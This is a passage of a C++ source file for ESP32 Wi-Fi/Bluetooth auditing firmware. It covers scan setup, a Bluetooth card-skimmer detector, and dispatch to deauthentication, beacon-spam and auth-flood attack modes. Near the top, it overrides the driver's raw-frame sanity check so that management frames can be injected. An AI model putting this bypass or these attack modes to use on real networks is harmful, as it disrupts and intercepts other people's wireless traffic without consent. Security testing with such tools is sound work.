WiFiScan.cpp 114 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. LinkedList<Station>* stations;
  10. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  11. if (arg == 31337)
  12. return 1;
  13. else
  14. return 0;
  15. }
  16. #ifdef HAS_BT
  17. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  18. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  19. #ifdef HAS_SCREEN
  20. int buf = display_obj.display_buffer->size();
  21. #else
  22. int buf = 0;
  23. #endif
  24. String display_string = "";
  25. if (buf >= 0)
  26. {
  27. display_string.concat(text_table4[0]);
  28. display_string.concat(advertisedDevice->getRSSI());
  29. Serial.print(" RSSI: ");
  30. Serial.print(advertisedDevice->getRSSI());
  31. display_string.concat(" ");
  32. Serial.print(" ");
  33. Serial.print("Device: ");
  34. if(advertisedDevice->getName().length() != 0)
  35. {
  36. display_string.concat(advertisedDevice->getName().c_str());
  37. Serial.print(advertisedDevice->getName().c_str());
  38. }
  39. else
  40. {
  41. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  42. Serial.print(advertisedDevice->getAddress().toString().c_str());
  43. }
  44. #ifdef HAS_SCREEN
  45. uint8_t temp_len = display_string.length();
  46. for (uint8_t i = 0; i < 40 - temp_len; i++)
  47. {
  48. display_string.concat(" ");
  49. }
  50. Serial.println();
  51. while (display_obj.printing)
  52. delay(1);
  53. display_obj.loading = true;
  54. display_obj.display_buffer->add(display_string);
  55. display_obj.loading = false;
  56. #endif
  57. }
  58. }
  59. };
  60. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  61. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  62. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  63. #ifdef HAS_SCREEN
  64. int buf = display_obj.display_buffer->size();
  65. #else
  66. int buf = 0;
  67. #endif
  68. if (buf >= 0)
  69. {
  70. Serial.print("Device: ");
  71. String display_string = "";
  72. if(advertisedDevice->getName().length() != 0)
  73. {
  74. Serial.print(advertisedDevice->getName().c_str());
  75. for(uint8_t i = 0; i < bad_list_length; i++)
  76. {
  77. #ifdef HAS_SCREEN
  78. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  79. {
  80. display_string.concat(text_table4[1]);
  81. display_string.concat(" ");
  82. display_string.concat(advertisedDevice->getName().c_str());
  83. uint8_t temp_len = display_string.length();
  84. for (uint8_t i = 0; i < 40 - temp_len; i++)
  85. {
  86. display_string.concat(" ");
  87. }
  88. while (display_obj.printing)
  89. delay(1);
  90. display_obj.loading = true;
  91. display_obj.display_buffer->add(display_string);
  92. display_obj.loading = false;
  93. }
  94. #endif
  95. }
  96. }
  97. else
  98. {
  99. Serial.print(advertisedDevice->getAddress().toString().c_str());
  100. }
  101. Serial.print(" RSSI: ");
  102. Serial.println(advertisedDevice->getRSSI());
  103. }
  104. }
  105. };
  106. #endif
  107. WiFiScan::WiFiScan()
  108. {
  109. }
  110. void WiFiScan::RunSetup() {
  111. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  112. this->wsl_bypass_enabled = true;
  113. else
  114. this->wsl_bypass_enabled = false;
  115. ssids = new LinkedList<ssid>();
  116. access_points = new LinkedList<AccessPoint>();
  117. stations = new LinkedList<Station>();
  118. #ifdef HAS_BT
  119. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  120. NimBLEDevice::setScanDuplicateCacheSize(200);
  121. NimBLEDevice::init("");
  122. pBLEScan = NimBLEDevice::getScan(); //create new scan
  123. this->ble_initialized = true;
  124. this->shutdownBLE();
  125. #endif
  126. this->initWiFi(1);
  127. }
  128. int WiFiScan::clearAPs() {
  129. int num_cleared = access_points->size();
  130. access_points->clear();
  131. Serial.println("access_points: " + (String)access_points->size());
  132. return num_cleared;
  133. }
  134. int WiFiScan::clearSSIDs() {
  135. int num_cleared = ssids->size();
  136. ssids->clear();
  137. Serial.println("ssids: " + (String)ssids->size());
  138. return num_cleared;
  139. }
  140. bool WiFiScan::addSSID(String essid) {
  141. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  142. ssids->add(s);
  143. Serial.println(ssids->get(ssids->size() - 1).essid);
  144. return true;
  145. }
  146. int WiFiScan::generateSSIDs(int count) {
  147. uint8_t num_gen = count;
  148. for (uint8_t x = 0; x < num_gen; x++) {
  149. String essid = "";
  150. for (uint8_t i = 0; i < 6; i++)
  151. essid.concat(alfa[random(65)]);
  152. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  153. ssids->add(s);
  154. Serial.println(ssids->get(ssids->size() - 1).essid);
  155. }
  156. return num_gen;
  157. }
  158. #ifdef HAS_SCREEN
  159. void WiFiScan::joinWiFi(String ssid, String password)
  160. {
  161. static const char * btns[] ={text16, ""};
  162. int count = 0;
  163. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  164. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  165. lv_msgbox_set_text(mbox1, text_table4[2]);
  166. lv_msgbox_add_btns(mbox1, btns);
  167. lv_obj_set_width(mbox1, 200);
  168. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  169. this->wifi_initialized = true;
  170. return;
  171. }
  172. else if (WiFi.status() == WL_CONNECTED) {
  173. Serial.println("Already connected. Disconnecting...");
  174. WiFi.disconnect();
  175. }
  176. esp_wifi_init(&cfg);
  177. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  178. esp_wifi_set_mode(WIFI_MODE_NULL);
  179. esp_wifi_start();
  180. WiFi.begin(ssid.c_str(), password.c_str());
  181. Serial.print("Connecting to WiFi");
  182. while (WiFi.status() != WL_CONNECTED) {
  183. delay(500);
  184. Serial.print(".");
  185. count++;
  186. if (count == 10)
  187. {
  188. Serial.println("\nCould not connect to WiFi network");
  189. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  190. lv_msgbox_set_text(mbox1, text_table4[3]);
  191. lv_msgbox_add_btns(mbox1, btns);
  192. lv_obj_set_width(mbox1, 200);
  193. //lv_obj_set_event_cb(mbox1, event_handler);
  194. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  195. WiFi.mode(WIFI_OFF);
  196. return;
  197. }
  198. }
  199. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  200. lv_msgbox_set_text(mbox1, text_table4[4]);
  201. lv_msgbox_add_btns(mbox1, btns);
  202. lv_obj_set_width(mbox1, 200);
  203. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  204. connected_network = ssid;
  205. Serial.println("\nConnected to the WiFi network");
  206. Serial.print("IP address: ");
  207. Serial.println(WiFi.localIP());
  208. this->wifi_initialized = true;
  209. }
  210. #endif
  211. // Apply WiFi settings
  212. void WiFiScan::initWiFi(uint8_t scan_mode) {
  213. // Set the channel
  214. if (scan_mode != WIFI_SCAN_OFF) {
  215. //Serial.println(F("Initializing WiFi settings..."));
  216. this->changeChannel();
  217. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  218. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  219. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  220. //Serial.println(F("Initialization complete"));
  221. }
  222. }
  223. bool WiFiScan::scanning() {
  224. if (this->currentScanMode == WIFI_SCAN_OFF)
  225. return false;
  226. else
  227. return true;
  228. }
  229. // Function to prepare to run a specific scan
  230. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  231. {
  232. this->initWiFi(scan_mode);
  233. if (scan_mode == WIFI_SCAN_OFF)
  234. StopScan(scan_mode);
  235. else if (scan_mode == WIFI_SCAN_PROBE)
  236. RunProbeScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  240. RunEapolScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_AP)
  242. RunBeaconScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  244. RunRawScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_STATION)
  246. RunStationScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  248. RunAPScan(scan_mode, color);
  249. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  250. RunAPScan(scan_mode, color);
  251. else if (scan_mode == WIFI_SCAN_PWN)
  252. RunPwnScan(scan_mode, color);
  253. else if (scan_mode == WIFI_SCAN_DEAUTH)
  254. RunDeauthScan(scan_mode, color);
  255. else if (scan_mode == WIFI_PACKET_MONITOR) {
  256. #ifdef HAS_SCREEN
  257. RunPacketMonitor(scan_mode, color);
  258. #endif
  259. }
  260. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  261. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  262. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  263. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  264. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  265. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  266. else if (scan_mode == WIFI_ATTACK_AUTH)
  267. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  268. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  269. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  270. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  271. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  272. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  273. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  274. else if (scan_mode == BT_SCAN_ALL) {
  275. #ifdef HAS_BT
  276. RunBluetoothScan(scan_mode, color);
  277. #endif
  278. }
  279. else if (scan_mode == BT_SCAN_SKIMMERS) {
  280. #ifdef HAS_BT
  281. RunBluetoothScan(scan_mode, color);
  282. #endif
  283. }
  284. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  285. RunEspressifScan(scan_mode, color);
  286. else if (scan_mode == LV_JOIN_WIFI) {
  287. #ifdef HAS_SCREEN
  288. RunLvJoinWiFi(scan_mode, color);
  289. #endif
  290. }
  291. else if (scan_mode == LV_ADD_SSID) {
  292. #ifdef HAS_SCREEN
  293. RunLvJoinWiFi(scan_mode, color);
  294. #endif
  295. }
  296. WiFiScan::currentScanMode = scan_mode;
  297. }
  298. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  299. // Common wifi attack configurations
  300. #ifdef HAS_SCREEN
  301. display_obj.TOP_FIXED_AREA_2 = 48;
  302. display_obj.tteBar = true;
  303. display_obj.print_delay_1 = 15;
  304. display_obj.print_delay_2 = 10;
  305. display_obj.initScrollValues(true);
  306. display_obj.tft.setTextWrap(false);
  307. display_obj.tft.setTextColor(TFT_BLACK, color);
  308. display_obj.tft.fillRect(0,16,240,16, color);
  309. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  310. display_obj.touchToExit();
  311. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  312. #endif
  313. packets_sent = 0;
  314. esp_wifi_init(&cfg);
  315. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  316. esp_wifi_set_mode(WIFI_AP_STA);
  317. esp_wifi_start();
  318. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  319. //WiFi.mode(WIFI_AP_STA);
  320. //esp_wifi_init(&cfg);
  321. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  322. //esp_wifi_set_mode(WIFI_AP_STA);
  323. //esp_wifi_start();
  324. //esp_wifi_set_promiscuous_filter(NULL);
  325. esp_wifi_set_promiscuous(true);
  326. esp_wifi_set_max_tx_power(82);
  327. this->wifi_initialized = true;
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.attackLED();
  330. #else
  331. led_obj.setMode(MODE_ATTACK);
  332. #endif
  333. initTime = millis();
  334. }
  335. bool WiFiScan::shutdownWiFi() {
  336. if (this->wifi_initialized) {
  337. esp_wifi_set_promiscuous(false);
  338. WiFi.disconnect();
  339. WiFi.mode(WIFI_OFF);
  340. dst_mac = "ff:ff:ff:ff:ff:ff";
  341. esp_wifi_set_mode(WIFI_MODE_NULL);
  342. esp_wifi_stop();
  343. esp_wifi_deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #else
  347. led_obj.setMode(MODE_OFF);
  348. #endif
  349. this->wifi_initialized = false;
  350. return true;
  351. }
  352. else {
  353. return false;
  354. }
  355. }
  356. bool WiFiScan::shutdownBLE() {
  357. #ifdef HAS_BT
  358. if (this->ble_initialized) {
  359. pBLEScan->stop();
  360. pBLEScan->clearResults();
  361. BLEDevice::deinit();
  362. #ifdef MARAUDER_FLIPPER
  363. flipper_led.offLED();
  364. #else
  365. led_obj.setMode(MODE_OFF);
  366. #endif
  367. this->ble_initialized = false;
  368. return true;
  369. }
  370. else {
  371. return false;
  372. }
  373. #endif
  374. return true;
  375. }
  376. // Function to stop all wifi scans
  377. void WiFiScan::StopScan(uint8_t scan_mode)
  378. {
  379. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  380. (currentScanMode == WIFI_SCAN_AP) ||
  381. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  382. (currentScanMode == WIFI_SCAN_STATION) ||
  383. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  384. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  385. (currentScanMode == WIFI_SCAN_PWN) ||
  386. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  387. (currentScanMode == WIFI_SCAN_EAPOL) ||
  388. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  389. (currentScanMode == WIFI_SCAN_ALL) ||
  390. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  391. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  392. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  393. (currentScanMode == WIFI_ATTACK_AUTH) ||
  394. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  395. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  396. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  397. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  398. (currentScanMode == WIFI_PACKET_MONITOR) ||
  399. (currentScanMode == LV_JOIN_WIFI))
  400. {
  401. this->shutdownWiFi();
  402. }
  403. else if ((currentScanMode == BT_SCAN_ALL) ||
  404. (currentScanMode == BT_SCAN_SKIMMERS))
  405. {
  406. #ifdef HAS_BT
  407. this->shutdownBLE();
  408. #endif
  409. }
  410. #ifdef HAS_SCREEN
  411. display_obj.display_buffer->clear();
  412. #ifdef SCREEN_BUFFER
  413. display_obj.screen_buffer->clear();
  414. #endif
  415. //Serial.print("display_buffer->size(): ");
  416. Serial.println(display_obj.display_buffer->size());
  417. display_obj.tteBar = false;
  418. #endif
  419. }
  420. String WiFiScan::getStaMAC()
  421. {
  422. char *buf;
  423. uint8_t mac[6];
  424. char macAddrChr[18] = {0};
  425. esp_wifi_init(&cfg);
  426. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  427. esp_wifi_set_mode(WIFI_MODE_NULL);
  428. esp_wifi_start();
  429. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  430. this->wifi_initialized = true;
  431. sprintf(macAddrChr,
  432. "%02X:%02X:%02X:%02X:%02X:%02X",
  433. mac[0],
  434. mac[1],
  435. mac[2],
  436. mac[3],
  437. mac[4],
  438. mac[5]);
  439. this->shutdownWiFi();
  440. return String(macAddrChr);
  441. }
  442. String WiFiScan::getApMAC()
  443. {
  444. char *buf;
  445. uint8_t mac[6];
  446. char macAddrChr[18] = {0};
  447. esp_wifi_init(&cfg);
  448. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  449. esp_wifi_set_mode(WIFI_MODE_NULL);
  450. esp_wifi_start();
  451. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  452. this->wifi_initialized = true;
  453. sprintf(macAddrChr,
  454. "%02X:%02X:%02X:%02X:%02X:%02X",
  455. mac[0],
  456. mac[1],
  457. mac[2],
  458. mac[3],
  459. mac[4],
  460. mac[5]);
  461. this->shutdownWiFi();
  462. return String(macAddrChr);
  463. }
  464. String WiFiScan::freeRAM()
  465. {
  466. char s[150];
  467. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  468. this->free_ram = String(esp_get_free_heap_size());
  469. return String(s);
  470. }
  471. // Function to start running a beacon scan
  472. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  473. {
  474. sd_obj.openCapture("ap");
  475. #ifdef MARAUDER_FLIPPER
  476. flipper_led.sniffLED();
  477. #else
  478. led_obj.setMode(MODE_SNIFF);
  479. #endif
  480. Serial.println(text_table4[9] + (String)access_points->size());
  481. #ifdef HAS_SCREEN
  482. display_obj.TOP_FIXED_AREA_2 = 48;
  483. display_obj.tteBar = true;
  484. display_obj.print_delay_1 = 15;
  485. display_obj.print_delay_2 = 10;
  486. display_obj.initScrollValues(true);
  487. display_obj.tft.setTextWrap(false);
  488. display_obj.tft.setTextColor(TFT_WHITE, color);
  489. #ifndef MARAUDER_MINI
  490. display_obj.tft.fillRect(0,16,240,16, color);
  491. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  492. display_obj.touchToExit();
  493. #endif
  494. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  495. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  496. #endif
  497. esp_wifi_init(&cfg);
  498. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  499. esp_wifi_set_mode(WIFI_MODE_NULL);
  500. esp_wifi_start();
  501. esp_wifi_set_promiscuous(true);
  502. esp_wifi_set_promiscuous_filter(&filt);
  503. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  504. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  505. //else
  506. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  507. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  508. this->wifi_initialized = true;
  509. initTime = millis();
  510. }
  511. #ifdef HAS_SCREEN
  512. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  513. display_obj.tft.init();
  514. display_obj.tft.setRotation(1);
  515. #ifdef TFT_SHIELD
  516. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  517. Serial.println("Using TFT Shield");
  518. #else if defined(TFT_DIY)
  519. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  520. Serial.println("Using TFT DIY");
  521. #endif
  522. display_obj.tft.setTouch(calData);
  523. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  524. lv_disp_load_scr(scr);
  525. }
  526. #endif
  527. void WiFiScan::RunClearAPs() {
  528. #ifdef HAS_SCREEN
  529. display_obj.tft.setTextWrap(false);
  530. display_obj.tft.setFreeFont(NULL);
  531. display_obj.tft.setCursor(0, 100);
  532. display_obj.tft.setTextSize(1);
  533. display_obj.tft.setTextColor(TFT_CYAN);
  534. display_obj.tft.println(F(text_table4[9]));
  535. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  536. #else
  537. this->clearAPs();
  538. #endif
  539. }
  540. void WiFiScan::RunClearSSIDs() {
  541. #ifdef HAS_SCREEN
  542. display_obj.tft.setTextWrap(false);
  543. display_obj.tft.setFreeFont(NULL);
  544. display_obj.tft.setCursor(0, 100);
  545. display_obj.tft.setTextSize(1);
  546. display_obj.tft.setTextColor(TFT_CYAN);
  547. display_obj.tft.println(F(text_table4[11]));
  548. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  549. #else
  550. this->clearSSIDs();
  551. #endif
  552. }
  553. void WiFiScan::RunGenerateSSIDs(int count) {
  554. #ifdef HAS_SCREEN
  555. display_obj.tft.setTextWrap(false);
  556. display_obj.tft.setFreeFont(NULL);
  557. display_obj.tft.setCursor(0, 100);
  558. display_obj.tft.setTextSize(1);
  559. display_obj.tft.setTextColor(TFT_CYAN);
  560. display_obj.tft.println(F(text_table4[13]));
  561. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
